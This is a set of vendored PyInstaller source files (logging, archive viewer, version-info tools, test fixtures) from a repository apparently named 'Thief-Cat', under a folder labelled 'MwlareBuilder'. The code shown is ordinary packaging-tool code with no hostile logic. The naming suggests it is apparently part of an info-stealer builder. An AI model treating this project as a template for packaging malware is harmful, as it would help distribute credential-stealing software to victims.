    # Add the DLL directory to PATH. This is necessary under certain versions of
    # Anaconda python, where `os.add_dll_directory` does not work.
    path = os.environ.get('PATH', None)
    if not path:
        path = pywin32_system32_path
    else:
        path = pywin32_system32_path + os.pathsep + path
    os.environ['PATH'] = path

ThiefCat_assets/MwlareBuilder/loader/pyimod04_pywin32.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Logging module for PyInstaller.
"""

__all__ = ['getLogger', 'INFO', 'WARN', 'DEBUG', 'TRACE', 'ERROR', 'FATAL', 'DEPRECATION']

import os
import logging
from logging import DEBUG, ERROR, FATAL, INFO, WARN, getLogger

TRACE = DEBUG - 5
logging.addLevelName(TRACE, 'TRACE')
DEPRECATION = WARN + 5
logging.addLevelName(DEPRECATION, 'DEPRECATION')
LEVELS = {
    'TRACE': TRACE,
    'DEBUG': DEBUG,
    'INFO': INFO,
    'WARN': WARN,
    'DEPRECATION': DEPRECATION,
    'ERROR': ERROR,
    'FATAL': FATAL,
}

FORMAT = '%(relativeCreated)d %(levelname)s: %(message)s'
_env_level = os.environ.get("PYI_LOG_LEVEL", "INFO")
try:
    level = LEVELS[_env_level.upper()]
except KeyError:
    raise SystemExit(f"Invalid PYI_LOG_LEVEL value '{_env_level}'. Should be one of {list(LEVELS)}.")
logging.basicConfig(format=FORMAT, level=level)
logger = getLogger('PyInstaller')


def __add_options(parser):
    parser.add_argument(
        '--log-level',
        choices=LEVELS,
        metavar="LEVEL",
        dest='loglevel',
        help='Amount of detail in build-time console messages. LEVEL may be one of %s (default: INFO). '
        'Also settable via and overrides the PYI_LOG_LEVEL environment variable.' % ', '.join(LEVELS),
    )


def __process_options(parser, opts):
    if opts.loglevel:
        try:
            level = opts.loglevel.upper()
            _level = LEVELS[level]
        except KeyError:
            parser.error('Unknown log level `%s`' % opts.loglevel)
        logger.setLevel(_level)
        os.environ["PYI_LOG_LEVEL"] = level

ThiefCat_assets/MwlareBuilder/log.py
KSCH-58/Thief-Cat
#
# The content of this file will be filled in with meaningful data when creating an archive using `git archive` or by
# downloading an archive from github, e.g., from github.com/.../archive/develop.zip
#
rev = "1e18e1483f"  # abbreviated commit hash
commit = "1e18e1483f58107c2c7634f2eb6f7df65c2da5c0"  # commit hash
date = "2023-09-24 16:05:08 +0000"  # commit date
author = "pyup.io bot <github-bot@pyup.io>"
ref_names = "HEAD -> develop"  # incl. current branch
commit_message = """Tests: Requirements: Scheduled weekly dependency update for week 39 (#7953)

"""

ThiefCat_assets/MwlareBuilder/utils/_gitrevision.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Viewer for PyInstaller-generated archives.
"""

import argparse
import os
import sys

import PyInstaller.log
from PyInstaller.archive.readers import CArchiveReader, ZlibArchiveReader


class ArchiveViewer:
    def __init__(self, filename, interactive_mode, recursive_mode, brief_mode):
        self.filename = filename
        self.interactive_mode = interactive_mode
        self.recursive_mode = recursive_mode
        self.brief_mode = brief_mode

        self.stack = []

        # Recursive mode implies non-interactive mode
        if self.recursive_mode:
            self.interactive_mode = False

    def main(self):
        # Open top-level (initial) archive
        archive = self._open_toplevel_archive(self.filename)
        archive_name = os.path.basename(self.filename)
        self.stack.append((archive_name, archive))

        # Not-interactive mode
        if not self.interactive_mode:
            return self._non_interactive_processing()

        # Interactive mode; show top-level archive
        self._show_archive_contents(archive_name, archive)

        # Interactive command processing
        while True:
            # Read command
            try:
                tokens = input('? ').split(None, 1)
            except EOFError:
                # Ctrl-D
                print(file=sys.stderr)  # Clear line.
                break

            # Print usage?
            if not tokens:
                self._print_usage()
                continue

            # Process
            command = tokens[0].upper()
            if command == 'Q':
                break
            elif command == 'U':
                self._move_up_the_stack()
            elif command == 'O':
                self._open_embedded_archive(*tokens[1:])
            elif command == 'X':
                self._extract_file(*tokens[1:])
            elif command == 'S':
                archive_name, archive = self.stack[-1]
                self._show_archive_contents(archive_name, archive)
            else:
                self._print_usage()

    def _non_interactive_processing(self):
        archive_count = 0

        while self.stack:
            archive_name, archive = self.stack.pop()
            archive_count += 1

            if archive_count > 1:
                print("")
            self._show_archive_contents(archive_name, archive)

            if not self.recursive_mode:
                continue

            # Scan for embedded archives
            if isinstance(archive, CArchiveReader):
                for name, (*_, typecode) in archive.toc.items():
                    if typecode == 'z':
                        try:
                            embedded_archive = archive.open_embedded_archive(name)
                        except Exception as e:
                            print(f"Could not open embedded archive {name!r}: {e}", file=sys.stderr)
                        self.stack.append((name, embedded_archive))

    def _print_usage(self):
        print("U: go up one level", file=sys.stderr)
        print("O <name>: open embedded archive with given name", file=sys.stderr)
        print("X <name>: extract file with given name", file=sys.stderr)
        print("S: list the contents of current archive again", file=sys.stderr)
        print("Q: quit", file=sys.stderr)

    def _move_up_the_stack(self):
        if len(self.stack) > 1:
            self.stack.pop()
            archive_name, archive = self.stack[-1]
            self._show_archive_contents(archive_name, archive)
        else:
            print("Already in the top archive!", file=sys.stderr)

    def _open_toplevel_archive(self, filename):
        if not os.path.isfile(filename):
            print(f"Archive {filename} does not exist!", file=sys.stderr)
            sys.exit(1)

        if filename[-4:].lower() == '.pyz':
            return ZlibArchiveReader(filename)
        return CArchiveReader(filename)

    def _open_embedded_archive(self, archive_name=None):
        # Ask for name if not provided
        if not archive_name:
            archive_name = input('Open name? ')
        archive_name = archive_name.strip()

        # No name given; abort
        if not archive_name:
            return

        # Open the embedded archive
        _, parent_archive = self.stack[-1]

        if not hasattr(parent_archive, 'open_embedded_archive'):
            print("Archive does not support embedded archives!", file=sys.stderr)
            return

        try:
            archive = parent_archive.open_embedded_archive(archive_name)
        except Exception as e:
            print(f"Could not open embedded archive {archive_name!r}: {e}", file=sys.stderr)
            return

        # Add to stack and display contents
        self.stack.append((archive_name, archive))
        self._show_archive_contents(archive_name, archive)

    def _extract_file(self, name=None):
        # Ask for name if not provided
        if not name:
            name = input('Extract name? ')
        name = name.strip()

        # Archive
        archive_name, archive = self.stack[-1]

        # Retrieve data
        try:
            if isinstance(archive, CArchiveReader):
                data = archive.extract(name)
            elif isinstance(archive, ZlibArchiveReader):
                data = archive.extract(name, raw=True)
            else:
                raise NotImplementedError(f"Extraction from archive type {type(archive)} not implemented!")
        except Exception as e:
            print(f"Failed to extract data for entry {name!r} from {archive_name!r}: {e}", file=sys.stderr)

        # Write to file
        filename = input('Output filename? ')
        if not filename:
            print(repr(data))
        else:
            with open(filename, 'wb') as fp:
                fp.write(data)

    def _show_archive_contents(self, archive_name, archive):
        if isinstance(archive, CArchiveReader):
            if archive.options:
                print(f"Options in {archive_name!r} (PKG/CArchive):")
                for option in archive.options:
                    print(f" {option}")
            print(f"Contents of {archive_name!r} (PKG/CArchive):")
            if self.brief_mode:
                for name in archive.toc.keys():
                    print(f" {name}")
            else:
                print(" position, length, uncompressed_length, is_compressed, typecode, name")
                for name, (position, length, uncompressed_length, is_compressed, typecode) in archive.toc.items():
                    print(f" {position}, {length}, {uncompressed_length}, {is_compressed}, {typecode!r}, {name!r}")
        elif isinstance(archive, ZlibArchiveReader):
            print(f"Contents of {archive_name!r} (PYZ):")
            if self.brief_mode:
                for name in archive.toc.keys():
                    print(f" {name}")
            else:
                print(" is_package, position, length, name")
                for name, (is_package, position, length) in archive.toc.items():
                    print(f" {is_package}, {position}, {length}, {name!r}")
        else:
            print(f"Contents of {name} (unknown)")
            print(f"FIXME: implement content listing for archive type {type(archive)}!")


def run():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '-l',
        '--list',
        default=False,
        action='store_true',
        dest='listing_mode',
        help='List the archive contents and exit (default: %(default)s).',
    )
    parser.add_argument(
        '-r',
        '--recursive',
        default=False,
        action='store_true',
        dest='recursive',
        help='Recursively print an archive log (default: %(default)s). Implies --list.',
    )
    parser.add_argument(
        '-b',
        '--brief',
        default=False,
        action='store_true',
        dest='brief',
        help='When displaying archive contents, show only file names. (default: %(default)s).',
    )
    PyInstaller.log.__add_options(parser)
    parser.add_argument(
        'filename',
        metavar='pyi_archive',
        help="PyInstaller archive to process.",
    )

    args = parser.parse_args()
    PyInstaller.log.__process_options(parser, args)

    try:
        viewer = ArchiveViewer(
            filename=args.filename,
            interactive_mode=not args.listing_mode,
            recursive_mode=args.recursive,
            brief_mode=args.brief,
        )
        viewer.main()
    except KeyboardInterrupt:
        raise SystemExit("Aborted by user.")


if __name__ == '__main__':
    run()

ThiefCat_assets/MwlareBuilder/utils/cliutils/archive_viewer.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Show dll dependencies of executable files or other dynamic libraries.
"""

import argparse
import glob

import PyInstaller.depend.bindepend
import PyInstaller.log


def run():
    parser = argparse.ArgumentParser()
    PyInstaller.log.__add_options(parser)
    parser.add_argument(
        'filenames',
        nargs='+',
        metavar='executable-or-dynamic-library',
        help="executables or dynamic libraries for which the dependencies should be shown",
    )

    args = parser.parse_args()
    PyInstaller.log.__process_options(parser, args)

    # Suppress all informative messages from the dependency code.
    PyInstaller.log.getLogger('PyInstaller.build.bindepend').setLevel(PyInstaller.log.WARN)

    try:
        for input_filename_or_pattern in args.filenames:
            for filename in glob.glob(input_filename_or_pattern):
                print(f"{filename}:")
                for lib_name, lib_path in sorted(PyInstaller.depend.bindepend.get_imports(filename)):
                    print(f"  {lib_name} => {lib_path}")
                print("")
    except KeyboardInterrupt:
        raise SystemExit("Aborted by user request.")


if __name__ == '__main__':
    run()

ThiefCat_assets/MwlareBuilder/utils/cliutils/bindepend.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import argparse
import codecs


def run():
    parser = argparse.ArgumentParser(
        epilog=(
            'The printed output may be saved to a file, edited and used as the input for a version resource on any of '
            'the executable targets in a PyInstaller .spec file.'
        )
    )
    parser.add_argument(
        'exe_file',
        metavar='exe-file',
        help="full pathname of a Windows executable",
    )
    parser.add_argument(
        'out_filename',
        metavar='out-filename',
        nargs='?',
        default='file_version_info.txt',
        help="filename where the grabbed version info will be saved",
    )

    args = parser.parse_args()

    try:
        from PyInstaller.utils.win32 import versioninfo
        info = versioninfo.read_version_info_from_executable(args.exe_file)
        if not info:
            raise SystemExit("Error: VersionInfo resource not found in exe")
        with codecs.open(args.out_filename, 'w', 'utf-8') as fp:
            fp.write(str(info))
        print(f"Version info written to: {args.out_filename!r}")
    except KeyboardInterrupt:
        raise SystemExit("Aborted by user request.")


if __name__ == '__main__':
    run()

ThiefCat_assets/MwlareBuilder/utils/cliutils/grab_version.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import argparse
import os


def run():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        'info_file',
        metavar='info-file',
        help="text file containing version info",
    )
    parser.add_argument(
        'exe_file',
        metavar='exe-file',
        help="full pathname of a Windows executable",
    )
    args = parser.parse_args()

    info_file = os.path.abspath(args.info_file)
    exe_file = os.path.abspath(args.exe_file)

    try:
        from PyInstaller.utils.win32 import versioninfo
        info = versioninfo.load_version_info_from_text_file(info_file)
        versioninfo.write_version_info_to_executable(exe_file, info)
        print(f"Version info written to: {exe_file!r}")
    except KeyboardInterrupt:
        raise SystemExit("Aborted by user request.")


if __name__ == '__main__':
    run()

ThiefCat_assets/MwlareBuilder/utils/cliutils/set_version.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import copy
import glob
import logging
import os
import platform
import re
import shutil
import subprocess
from contextlib import suppress

# Set a handler for the root-logger to inhibit 'basicConfig()' (called in PyInstaller.log) is setting up a stream
# handler writing to stderr. This avoids log messages to be written (and captured) twice: once on stderr and
# once by pytests's caplog.
logging.getLogger().addHandler(logging.NullHandler())

# Manages subprocess timeout.
import psutil  # noqa: E402
import py  # noqa: E402
import pytest  # noqa: E402
import sys  # noqa: E402

# Expand sys.path with PyInstaller source.
_ROOT_DIR = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))
sys.path.append(_ROOT_DIR)

from PyInstaller import __main__ as pyi_main  # noqa: E402
from PyInstaller import configure  # noqa: E402
from PyInstaller.compat import architecture, is_darwin, is_win  # noqa: E402
from PyInstaller.depend.analysis import initialize_modgraph  # noqa: E402
from PyInstaller.archive.readers import pkg_archive_contents  # noqa: E402
from PyInstaller.utils.tests import gen_sourcefile  # noqa: E402
from PyInstaller.utils.win32 import winutils  # noqa: E402

# Timeout for running the executable. If executable does not exit in this time, it is interpreted as a test failure.
_EXE_TIMEOUT = 3 * 60  # In sec.
# All currently supported platforms
SUPPORTED_OSES = {"darwin", "linux", "win32"}
# Have pyi_builder fixure clean-up the temporary directories of successful tests. Controlled by environment variable.
_PYI_BUILDER_CLEANUP = os.environ.get("PYI_BUILDER_CLEANUP", "1") == "1"

# Fixtures
# --------


@pytest.fixture
def SPEC_DIR(request):
    """
    Return the directory where the test spec-files reside.
    """
    return py.path.local(_get_spec_dir(request))


@pytest.fixture
def SCRIPT_DIR(request):
    """
    Return the directory where the test scripts reside.
    """
    return py.path.local(_get_script_dir(request))


def pytest_runtest_setup(item):
    """
    Markers to skip tests based on the current platform.
    https://pytest.org/en/stable/example/markers.html#marking-platform-specific-tests-with-pytest

    Available markers: see setup.cfg [tool:pytest] markers
        - @pytest.mark.darwin (macOS)
        - @pytest.mark.linux (GNU/Linux)
        - @pytest.mark.win32 (Windows)
    """
    supported_platforms = SUPPORTED_OSES.intersection(mark.name for mark in item.iter_markers())
    plat = sys.platform
    if supported_platforms and plat not in supported_platforms:
        pytest.skip("does not run on %s" % plat)


@pytest.hookimpl(tryfirst=True, hookwrapper=True)
def pytest_runtest_makereport(item, call):
    # Execute all other hooks to obtain the report object.
    outcome = yield
    rep = outcome.get_result()

    # Set a report attribute for each phase of a call, which can be "setup", "call", "teardown".
    setattr(item, "rep_" + rep.when, rep)


# Return the base directory which contains the current test module.
def _get_base_dir(request):
    return os.path.dirname(os.path.abspath(request.fspath.strpath))


# Directory with Python scripts for functional tests.
def _get_script_dir(request):
    return os.path.join(_get_base_dir(request), 'scripts')


# Directory with testing modules used in some tests.
def _get_modules_dir(request):
    return os.path.join(_get_base_dir(request), 'modules')


# Directory with .toc log files.
def _get_logs_dir(request):
    return os.path.join(_get_base_dir(request), 'logs')


# Return the directory where data for tests is located.
def _get_data_dir(request):
    return os.path.join(_get_base_dir(request), 'data')


# Directory with .spec files used in some tests.
def _get_spec_dir(request):
    return os.path.join(_get_base_dir(request), 'specs')


@pytest.fixture
def script_dir(request):
    return py.path.local(_get_script_dir(request))


# A helper function to copy from data/dir to tmpdir/data.
def _data_dir_copy(
    # The pytest request object.
    request,
    # The name of the subdirectory located in data/name to copy.
    subdir_name,
    # The tmpdir object for this test. See: https://pytest.org/latest/tmpdir.html.
    tmpdir
):

    # Form the source and tmp paths.
    source_data_dir = py.path.local(_get_data_dir(request)).join(subdir_name)
    tmp_data_dir = tmpdir.join('data', subdir_name)
    # Copy the data.
    shutil.copytree(source_data_dir.strpath, tmp_data_dir.strpath)
    # Return the temporary data directory, so that the copied data can now be used.
    return tmp_data_dir


# Define a fixure for the DataDir object.
@pytest.fixture
def data_dir(
    # The request object for this test. See
    # https://pytest.org/latest/builtin.html#_pytest.python.FixtureRequest
    # and
    # https://pytest.org/latest/fixture.html#fixtures-can-introspect-the-requesting-test-context.
    request,
    # The tmpdir object for this test. See https://pytest.org/latest/tmpdir.html.
    tmpdir
):

    # Strip the leading 'test_' from the test's name.
    name = request.function.__name__[5:]
    # Copy to tmpdir and return the path.
    return _data_dir_copy(request, name, tmpdir)


class AppBuilder:
    def __init__(self, tmpdir, request, bundle_mode):
        self._tmpdir = tmpdir
        self._request = request
        self._mode = bundle_mode
        self._specdir = str(tmpdir)
        self._distdir = str(tmpdir / 'dist')
        self._builddir = str(tmpdir / 'build')
        self._is_spec = False

    def test_spec(self, specfile, *args, **kwargs):
        """
        Test a Python script that is referenced in the supplied .spec file.
        """
        __tracebackhide__ = True
        specfile = os.path.join(_get_spec_dir(self._request), specfile)
        # 'test_script' should handle .spec properly as script.
        self._is_spec = True
        return self.test_script(specfile, *args, **kwargs)

    def test_source(self, source, *args, **kwargs):
        """
        Test a Python script given as source code.

        The source will be written into a file named like the test-function. This file will then be passed to
        `test_script`. If you need other related file, e.g., as `.toc`-file for testing the content, put it at at the
        normal place. Just mind to take the basnename from the test-function's name.

        :param script: Source code to create executable from. This will be saved into a temporary file which is then
                       passed on to `test_script`.

        :param test_id: Test-id for parametrized tests. If given, it will be appended to the script filename, separated
                        by two underscores.

        All other arguments are passed straight on to `test_script`.

        Ensure that the caller of `test_source` is in a UTF-8 encoded file with the correct '# -*- coding: utf-8 -*-'
        marker.

        """
        __tracebackhide__ = True
        # For parametrized test append the test-id.
        scriptfile = gen_sourcefile(self._tmpdir, source, kwargs.setdefault('test_id'))
        del kwargs['test_id']
        return self.test_script(str(scriptfile), *args, **kwargs)

    def test_script(
        self, script, pyi_args=None, app_name=None, app_args=None, runtime=None, run_from_path=False, **kwargs
    ):
        """
        Main method to wrap all phases of testing a Python script.

        :param script: Name of script to create executable from.
        :param pyi_args: Additional arguments to pass to PyInstaller when creating executable.
        :param app_name: Name of the executable. This is equivalent to argument --name=APPNAME.
        :param app_args: Additional arguments to pass to
        :param runtime: Time in seconds how long to keep executable running.
        :param toc_log: List of modules that are expected to be bundled with the executable.
        """
        __tracebackhide__ = True

        def marker(line):
            # Print some marker to stdout and stderr to make it easier to distinguish the phases in the CI test output.
            print('-------', line, '-------')
            print('-------', line, '-------', file=sys.stderr)

        if pyi_args is None:
            pyi_args = []
        if app_args is None:
            app_args = []

        if app_name:
            if not self._is_spec:
                pyi_args.extend(['--name', app_name])
        else:
            # Derive name from script name.
            app_name = os.path.splitext(os.path.basename(script))[0]

        # Relative path means that a script from _script_dir is referenced.
        if not os.path.isabs(script):
            script = os.path.join(_get_script_dir(self._request), script)
        self.script = script
        assert os.path.exists(self.script), 'Script %s not found.' % script

        marker('Starting build.')
        if not self._test_building(args=pyi_args):
            pytest.fail('Building of %s failed.' % script)

        marker('Build finished, now running executable.')
        self._test_executables(app_name, args=app_args, runtime=runtime, run_from_path=run_from_path, **kwargs)
        marker('Running executable finished.')

    def _test_executables(self, name, args, runtime, run_from_path, **kwargs):
        """
        Run created executable to make sure it works.

        Multipackage-tests generate more than one exe-file and all of them have to be run.

        :param args: CLI options to pass to the created executable.
        :param runtime: Time in seconds how long to keep the executable running.

        :return: Exit code of the executable.
        """
        __tracebackhide__ = True
        exes = self._find_executables(name)
        # Empty list means that PyInstaller probably failed to create any executable.
        assert exes != [], 'No executable file was found.'
        for exe in exes:
            # Try to find .toc log file. .toc log file has the same basename as exe file.
            toc_log = os.path.join(_get_logs_dir(self._request), os.path.splitext(os.path.basename(exe))[0] + '.toc')
            if os.path.exists(toc_log):
                if not self._examine_executable(exe, toc_log):
                    pytest.fail('Matching .toc of %s failed.' % exe)
            retcode = self._run_executable(exe, args, run_from_path, runtime)
            if retcode != kwargs.get('retcode', 0):
                pytest.fail('Running exe %s failed with return-code %s.' % (exe, retcode))

    def _find_executables(self, name):
        """
        Search for all executables generated by the testcase.

        If the test-case is called e.g. 'test_multipackage1', this is searching for each of 'test_multipackage1.exe'
        and 'multipackage1_?.exe' in both one-file- and one-dir-mode.

        :param name: Name of the executable to look for.

        :return: List of executables
        """
        exes = []
        onedir_pt = os.path.join(self._distdir, name, name)
        onefile_pt = os.path.join(self._distdir, name)
        patterns = [
            onedir_pt,
            onefile_pt,
            # Multipackage one-dir
            onedir_pt + '_?',
            # Multipackage one-file
            onefile_pt + '_?'
        ]
        # For Windows append .exe extension to patterns.
        if is_win:
            patterns = [pt + '.exe' for pt in patterns]
        # For Mac OS append pattern for .app bundles.
        if is_darwin:
            # e.g:  ./dist/name.app/Contents/MacOS/name
            pt = os.path.join(self._distdir, name + '.app', 'Contents', 'MacOS', name)
            patterns.append(pt)
        # Apply file patterns.
        for pattern in patterns:
            for prog in glob.glob(pattern):
                if os.path.isfile(prog):
                    exes.append(prog)
        return exes

    def _run_executable(self, prog, args, run_from_path, runtime):
        """
        Run executable created by PyInstaller.

        :param args: CLI options to pass to the created executable.
        """
        # Run the test in a clean environment to make sure they're really self-contained.
        prog_env = copy.deepcopy(os.environ)
        prog_env['PATH'] = ''
        del prog_env['PATH']
        # For Windows we need to keep minimal PATH for successful running of some tests.
        if is_win:
            # Minimum Windows PATH is in most cases:   C:\Windows\system32;C:\Windows
            prog_env['PATH'] = os.pathsep.join(winutils.get_system_path())

        exe_path = prog
        if run_from_path:
            # Run executable in the temp directory. Add the directory containing the executable to $PATH. Basically,
            # pretend we are a shell executing the program from $PATH.
            prog_cwd = str(self._tmpdir)
            prog_name = os.path.basename(prog)
            prog_env['PATH'] = os.pathsep.join([prog_env.get('PATH', ''), os.path.dirname(prog)])

        else:
            # Run executable in the directory where it is.
            prog_cwd = os.path.dirname(prog)
            # The executable will be called with argv[0] as relative not absolute path.
            prog_name = os.path.join(os.curdir, os.path.basename(prog))

        args = [prog_name] + args
        # Using sys.stdout/sys.stderr for subprocess fixes printing messages in Windows command prompt. Py.test is then
        # able to collect stdout/sterr messages and display them if a test fails.
        return self._run_executable_(args, exe_path, prog_env, prog_cwd, runtime)

    def _run_executable_(self, args, exe_path, prog_env, prog_cwd, runtime):
        process = psutil.Popen(
            args, executable=exe_path, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=prog_env, cwd=prog_cwd
        )

        def _msg(*text):
            print('[' + str(process.pid) + '] ', *text)

        # Run executable. stderr is redirected to stdout.
        _msg('RUNNING: ', repr(exe_path), ', args: ', repr(args))
        # 'psutil' allows to use timeout in waiting for a subprocess. If not timeout was specified then it is 'None' -
        # no timeout, just waiting. Runtime is useful mostly for interactive tests.
        try:
            timeout = runtime if runtime else _EXE_TIMEOUT
            stdout, stderr = process.communicate(timeout=timeout)
            retcode = process.returncode
        except (psutil.TimeoutExpired, subprocess.TimeoutExpired):
            if runtime:
                # When 'runtime' is set, the expired timeout is a good sign that the executable was running successfully
                # for a specified time.
                # TODO: is there a better way return success than 'retcode = 0'?
                retcode = 0
            else:
                # Exe is running and it is not interactive. Fail the test.
                retcode = 1
                _msg(f'TIMED OUT while running executable (timeout: {timeout} sec)!')
            # Kill the subprocess and its child processes.
            for p in list(process.children(recursive=True)) + [process]:
                with suppress(psutil.NoSuchProcess):
                    p.kill()
            stdout, stderr = process.communicate()

        sys.stdout.buffer.write(stdout)
        sys.stderr.buffer.write(stderr)

        return retcode

    def _test_building(self, args):
        """
        Run building of test script.

        :param args: additional CLI options for PyInstaller.

        Return True if build succeeded False otherwise.
        """
        if self._is_spec:
            default_args = [
                '--distpath', self._distdir,
                '--workpath', self._builddir,
                '--log-level=INFO',
            ]  # yapf: disable
        else:
            default_args = [
                '--debug=bootloader',
                '--noupx',
                '--specpath', self._specdir,
                '--distpath', self._distdir,
                '--workpath', self._builddir,
                '--path', _get_modules_dir(self._request),
                '--log-level=INFO',
            ]  # yapf: disable

            # Choose bundle mode.
            if self._mode == 'onedir':
                default_args.append('--onedir')
            elif self._mode == 'onefile':
                default_args.append('--onefile')
            # if self._mode is None then just the spec file was supplied.

        pyi_args = [self.script] + default_args + args
        # TODO: fix return code in running PyInstaller programmatically.
        PYI_CONFIG = configure.get_config()
        # Override CACHEDIR for PyInstaller and put it into self.tmpdir
        PYI_CONFIG['cachedir'] = str(self._tmpdir)

        pyi_main.run(pyi_args, PYI_CONFIG)
        retcode = 0

        return retcode == 0

    def _examine_executable(self, exe, toc_log):
        """
        Compare log files (now used mostly by multipackage test_name).

        :return: True if .toc files match
        """
        print('EXECUTING MATCHING:', toc_log)
        fname_list = pkg_archive_contents(exe)
        with open(toc_log, 'r') as f:
            pattern_list = eval(f.read())
        # Alphabetical order of patterns.
        pattern_list.sort()
        missing = []
        for pattern in pattern_list:
            for fname in fname_list:
                if re.match(pattern, fname):
                    print('MATCH:', pattern, '-->', fname)
                    break
            else:
                # No matching entry found
                missing.append(pattern)
                print('MISSING:', pattern)

        # Not all modules matched. Stop comparing other .toc files and fail the test.
        if missing:
            for m in missing:
                print('Missing', m, 'in', exe)
            return False
        # All patterns matched.
        return True


# Scope 'session' should keep the object unchanged for whole tests. This fixture caches basic module graph dependencies
# that are same for every executable.
@pytest.fixture(scope='session')
def pyi_modgraph():
    # Explicitly set the log level since the plugin `pytest-catchlog` (un-) sets the root logger's level to NOTSET for
    # the setup phase, which will lead to TRACE messages been written out.
    import PyInstaller.log as logging
    logging.logger.setLevel(logging.DEBUG)
    initialize_modgraph()


# Run by default test as onedir and onefile.
@pytest.fixture(params=['onedir', 'onefile'])
def pyi_builder(tmpdir, monkeypatch, request, pyi_modgraph):
    # Save/restore environment variable PATH.
    monkeypatch.setenv('PATH', os.environ['PATH'])
    # PyInstaller or a test case might manipulate 'sys.path'. Reset it for every test.
    monkeypatch.syspath_prepend(None)
    # Set current working directory to
    monkeypatch.chdir(tmpdir)
    # Clean up configuration and force PyInstaller to do a clean configuration for another app/test. The value is same
    # as the original value.
    monkeypatch.setattr('PyInstaller.config.CONF', {'pathex': []})

    yield AppBuilder(tmpdir, request, request.param)

    # Clean up the temporary directory of a successful test
    if _PYI_BUILDER_CLEANUP and request.node.rep_setup.passed and request.node.rep_call.passed:
        if tmpdir.exists():
            tmpdir.remove(rec=1, ignore_errors=True)


# Fixture for .spec based tests. With .spec it does not make sense to differentiate onefile/onedir mode.
@pytest.fixture
def pyi_builder_spec(tmpdir, request, monkeypatch, pyi_modgraph):
    # Save/restore environment variable PATH.
    monkeypatch.setenv('PATH', os.environ['PATH'])
    # Set current working directory to
    monkeypatch.chdir(tmpdir)
    # PyInstaller or a test case might manipulate 'sys.path'. Reset it for every test.
    monkeypatch.syspath_prepend(None)
    # Clean up configuration and force PyInstaller to do a clean configuration for another app/test. The value is same
    # as the original value.
    monkeypatch.setattr('PyInstaller.config.CONF', {'pathex': []})

    return AppBuilder(tmpdir, request, None)


# Define a fixture which compiles the data/load_dll_using_ctypes/ctypes_dylib.c program in the tmpdir, returning the
# tmpdir object.
@pytest.fixture()
def compiled_dylib(tmpdir, request):
    tmp_data_dir = _data_dir_copy(request, 'ctypes_dylib', tmpdir)

    # Compile the ctypes_dylib in the tmpdir: Make tmpdir/data the CWD. Do NOT use monkeypatch.chdir() to change and
    # monkeypatch.undo() to restore the CWD, since this will undo ALL monkeypatches (such as the pyi_builder's additions
    # to sys.path), breaking the test.
    old_wd = tmp_data_dir.chdir()
    try:
        if is_win:
            tmp_data_dir = tmp_data_dir.join('ctypes_dylib.dll')
            # For Mingw-x64 we must pass '-m32' to build 32-bit binaries
            march = '-m32' if architecture == '32bit' else '-m64'
            ret = subprocess.call('gcc -shared ' + march + ' ctypes_dylib.c -o ctypes_dylib.dll', shell=True)
            if ret != 0:
                # Find path to cl.exe file.
                from distutils.msvccompiler import MSVCCompiler
                comp = MSVCCompiler()
                comp.initialize()
                cl_path = comp.cc
                # Fallback to msvc.
                ret = subprocess.call([cl_path, '/LD', 'ctypes_dylib.c'], shell=False)
        elif is_darwin:
            tmp_data_dir = tmp_data_dir.join('ctypes_dylib.dylib')
            # On Mac OS X we need to detect architecture - 32 bit or 64 bit.
            arch = 'arm64' if platform.machine() == 'arm64' else 'i386' if architecture == '32bit' else 'x86_64'
            cmd = (
                'gcc -arch ' + arch + ' -Wall -dynamiclib '
                'ctypes_dylib.c -o ctypes_dylib.dylib -headerpad_max_install_names'
            )
            ret = subprocess.call(cmd, shell=True)
            id_dylib = os.path.abspath('ctypes_dylib.dylib')
            ret = subprocess.call('install_name_tool -id %s ctypes_dylib.dylib' % (id_dylib,), shell=True)
        else:
            tmp_data_dir = tmp_data_dir.join('ctypes_dylib.so')
            ret = subprocess.call('gcc -fPIC -shared ctypes_dylib.c -o ctypes_dylib.so', shell=True)
        assert ret == 0, 'Compile ctypes_dylib failed.'
    finally:
        # Reset the CWD directory.
        old_wd.chdir()

    return tmp_data_dir


@pytest.fixture
def pyi_windowed_builder(pyi_builder: AppBuilder):
    """A pyi_builder equivalent for testing --windowed applications."""
